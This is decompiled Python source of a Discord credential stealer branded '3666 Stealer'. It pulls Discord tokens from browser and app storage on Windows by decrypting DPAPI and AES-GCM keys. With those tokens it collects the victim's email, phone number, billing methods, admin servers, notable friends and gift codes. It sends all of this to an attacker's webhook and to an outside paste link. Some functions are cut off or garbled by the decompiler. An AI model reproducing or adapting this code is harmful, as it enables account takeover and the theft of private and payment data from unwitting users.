# Source Generated with Decompyle++
# File: discordtoken.pyc (Python 3.10)

import base64
import json
import os
import re
import requests
from Crypto.Cipher import AES
from discord import Embed, SyncWebhook
from win32crypt import CryptUnprotectData

class DiscordToken:
    
    def __init__(self, webhook):
        upload_tokens(webhook).upload()



class extract_tokens:
    
    def __init__(self = None):
        self.base_url = 'https://discord.com/api/v9/users/@me'
        self.appdata = os.getenv('localappdata')
        self.roaming = os.getenv('appdata')
        self.regexp = '[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}'
        self.regexp_enc = 'dQw4w9WgXcQ:[^\\"]*'
        self.tokens = []
        self.uids = []
        self.extract()

    
    def extract(self = None):
        pass
    # WARNING: Decompyle incomplete

    
    def validate_token(self = None, token = None):
        r = requests.get(self.base_url, {
            'Authorization': token }, **('headers',))
        if r.status_code == 200:
            return True

    
    def decrypt_val(self = None, buff = None, master_key = None):
        iv = buff[3:15]
        payload = buff[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_pass = cipher.decrypt(payload)
        decrypted_pass = decrypted_pass[:-16].decode()
        return decrypted_pass

    
    def get_master_key(self = None, path = None):
        with open(path, 'r', 'utf-8', **('encoding',)) as f:
            c = f.read()
            None(None, None, None)
    # WARNING: Decompyle incomplete



class upload_tokens:
    
    def __init__(self = None, webhook = None):
        self.tokens = extract_tokens().tokens
        self.webhook = SyncWebhook.from_url(webhook)

    
    def calc_flags(self = None, flags = None):
        flags_dict = {
            'DISCORD_EMPLOYEE': {
                'emoji': '<:staff:968704541946167357>',
                'shift': 0,
                'ind': 1 },
            'DISCORD_PARTNER': {
                'emoji': '<:partner:968704542021652560>',
                'shift': 1,
                'ind': 2 },
            'HYPESQUAD_EVENTS': {
                'emoji': '<:hypersquad_events:968704541774192693>',
                'shift': 2,
                'ind': 4 },
            'BUG_HUNTER_LEVEL_1': {
                'emoji': '<:bug_hunter_1:968704541677723648>',
                'shift': 3,
                'ind': 4 },
            'HOUSE_BRAVERY': {
                'emoji': '<:hypersquad_1:968704541501571133>',
                'shift': 6,
                'ind': 64 },
            'HOUSE_BRILLIANCE': {
                'emoji': '<:hypersquad_2:968704541883261018>',
                'shift': 7,
                'ind': 128 },
            'HOUSE_BALANCE': {
                'emoji': '<:hypersquad_3:968704541874860082>',
                'shift': 8,
                'ind': 256 },
            'EARLY_SUPPORTER': {
                'emoji': '<:early_supporter:968704542126510090>',
                'shift': 9,
                'ind': 512 },
            'BUG_HUNTER_LEVEL_2': {
                'emoji': '<:bug_hunter_2:968704541774217246>',
                'shift': 14,
                'ind': 16384 },
            'VERIFIED_BOT_DEVELOPER': {
                'emoji': '<:verified_dev:968704541702905886>',
                'shift': 17,
                'ind': 131072 },
            'CERTIFIED_MODERATOR': {
                'emoji': '<:certified_moderator:988996447938674699>',
                'shift': 18,
                'ind': 262144 },
            'SPAMMER': {
                'emoji': '\xe2\x8c\xa8',
                'shift': 20,
                'ind': 1048704 } }
        return (lambda .0 = None: [ [
flags_dict[flag]['emoji'],
flags_dict[flag]['ind']] for flag in .0 if int(flags) & 1 << flags_dict[flag]['shift'] ])(flags_dict)

    
    def upload(self):
        if not self.tokens:
            return None
        for token in None.tokens:
            user = requests.get('https://discord.com/api/v8/users/@me', {
                'Authorization': token }, **('headers',)).json()
            billing = requests.get('https://discord.com/api/v6/users/@me/billing/payment-sources', {
                'Authorization': token }, **('headers',)).json()
            guilds = requests.get('https://discord.com/api/v9/users/@me/guilds?with_counts=true', {
                'Authorization': token }, **('headers',)).json()
            friends = requests.get('https://discord.com/api/v8/users/@me/relationships', {
                'Authorization': token }, **('headers',)).json()
            gift_codes = requests.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', {
                'Authorization': token }, **('headers',)).json()
            username = user['username'] + '#' + user['discriminator']
            user_id = user['id']
            email = user['email']
            phone = user['phone']
            mfa = user['mfa_enabled']
            avatar = f'''https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.gif''' if requests.get(f'''https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.gif''').status_code == 200 else f'''https://cdn.discordapp.com/avatars/{user_id}/{user['avatar']}.png'''
            badges = ' '.join((lambda .0: [ flag[0] for flag in .0 ])(self.calc_flags(user['public_flags'])))
            if user['premium_type'] == 0:
                nitro = 'None'
            elif user['premium_type'] == 1:
                nitro = 'Nitro Classic'
            elif user['premium_type'] == 2:
                nitro = 'Nitro'
            elif user['premium_type'] == 3:
                nitro = 'Nitro Basic'
            else:
                nitro = 'None'
            if billing:
                payment_methods = []
                for method in billing:
                    if method['type'] == 1:
                        payment_methods.append('\xf0\x9f\x92\xb3')
                        continue
                    if method['type'] == 2:
                        payment_methods.append('<:paypal:973417655627288666>')
                        continue
                    payment_methods.append('\xe2\x9d\x93')
                payment_methods = ', '.join(payment_methods)
            else:
                payment_methods = None
            if guilds:
                hq_guilds = []
                for guild in guilds:
                    admin = True if guild['permissions'] == '4398046511103' else False
                    if admin and guild['approximate_member_count'] >= 100:
                        owner = '\xf0\x9f\x91\x91' if guild['owner'] else '\xe2\x9d\x8c'
                        invites = requests.get(f'''https://discord.com/api/v8/guilds/{guild['id']}/invites''', {
                            'Authorization': token }, **('headers',)).json()
                        if len(invites) > 0:
                            invite = f'''https://discord.gg/{invites[0]['code']}'''
                        else:
                            invite = 'https://youtu.be/dQw4w9WgXcQ'
                        hq_guilds.append(f'''\xe2\x80\x8b\n**{guild['name']} ({guild['id']})** \n Owner: `{owner}` | Members: ` \xe2\x9a\xab {guild['approximate_member_count']} / \xf0\x9f\x9f\xa2 {guild['approximate_presence_count']} / \xf0\x9f\x94\xb4 {guild['approximate_member_count'] - guild['approximate_presence_count']} `\n[Join Server]({invite})''')
                if len(hq_guilds) > 0:
                    hq_guilds = '\n'.join(hq_guilds)
                else:
                    hq_guilds = None
            else:
                hq_guilds = None
            if friends:
                hq_friends = []
                for friend in friends:
                    unprefered_flags = [
                        64,
                        128,
                        256,
                        1048704]
                    inds = (lambda .0: [ flag[1] for flag in .0 ])(self.calc_flags(friend['user']['public_flags'])[::-1])
                    for flag in unprefered_flags:
                        inds.remove(flag) if flag in inds else None
                    if inds != []:
                        hq_badges = ' '.join((lambda .0: [ flag[0] for flag in .0 ])(self.calc_flags(friend['user']['public_flags'])[::-1]))
                        hq_friends.append(f'''{hq_badges} - `{friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})`''')
                if len(hq_friends) > 0:
                    hq_friends = '\n'.join(hq_friends)
                else:
                    hq_friends = None
            else:
                hq_friends = None
            if gift_codes:
                codes = []
                for code in gift_codes:
                    name = code['promotion']['outbound_title']
                    code = code['code']
                    codes.append(f''':gift: `{name}`\n:ticket: `{code}`''')
                if len(codes) > 0:
                    codes = '\n\n'.join(codes)
                else:
                    codes = None
            else:
                codes = None
            embed = Embed(f'''{username} ({user_id})''', 0, **('title', 'color'))
            embed.set_thumbnail(avatar, **('url',))
            embed.add_field('<:bmoderator:1047945951152713798> Badges:', f'''{badges if badges != '' else 'None'}''', True, **('name', 'value', 'inline'))
            embed.add_field('<:key1:1037772274188685322> MFA:', f'''`{mfa}`''', True, **('name', 'value', 'inline'))
            embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            embed.add_field('<a:9539goldenboost:852425041013637161> Nitro:', f'''`{nitro}`''', True, **('name', 'value', 'inline'))
            embed.add_field('<a:7834cardblack:1037749724138197042> Billing:', f'''`{payment_methods if payment_methods != '' else 'None'}`''', True, **('name', 'value', 'inline'))
            embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            embed.add_field('<:token:1038576057206460436> Phone:', f'''`{phone if phone != None else 'None'}`''', True, **('name', 'value', 'inline'))
            embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            embed.add_field('<:qlfBlanc:1028750908407951410> Email:', f'''`{email if email != None else 'None'}`''', True, **('name', 'value', 'inline'))
            embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            embed.add_field('<a:999427435076538429:1004178316598714458> Token:', f'''`{token}`\n[Copie Token !](https://paste-pgpj.onrender.com/?p={token})\n\xe2\x80\x8b''', False, **('name', 'value', 'inline'))
            embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            if hq_guilds != None:
                embed.add_field('<a:internet:1038592743242477590> Permissions Server:', hq_guilds, False, **('name', 'value', 'inline'))
                embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            if hq_friends != None:
                embed.add_field('<a:internet:1038592743242477590> Big Friend:', hq_friends, False, **('name', 'value', 'inline'))
                embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            if codes != None:
                embed.add_field('<a:gift:1021608479808569435> Gift Codes:', codes, False, **('name', 'value', 'inline'))
                embed.add_field('\xe2\x80\x8b', '\xe2\x80\x8b', False, **('name', 'value', 'inline'))
            embed.set_footer('3666 Stealer', **('text',))
            self.webhook.send(embed, '3666 V1', 'https://cdn.discordapp.com/attachments/1040385802821185546/1041796452604719124/Picsart_22-11-14_07-42-50-867.png', **('embed', 'username', 'avatar_url'))


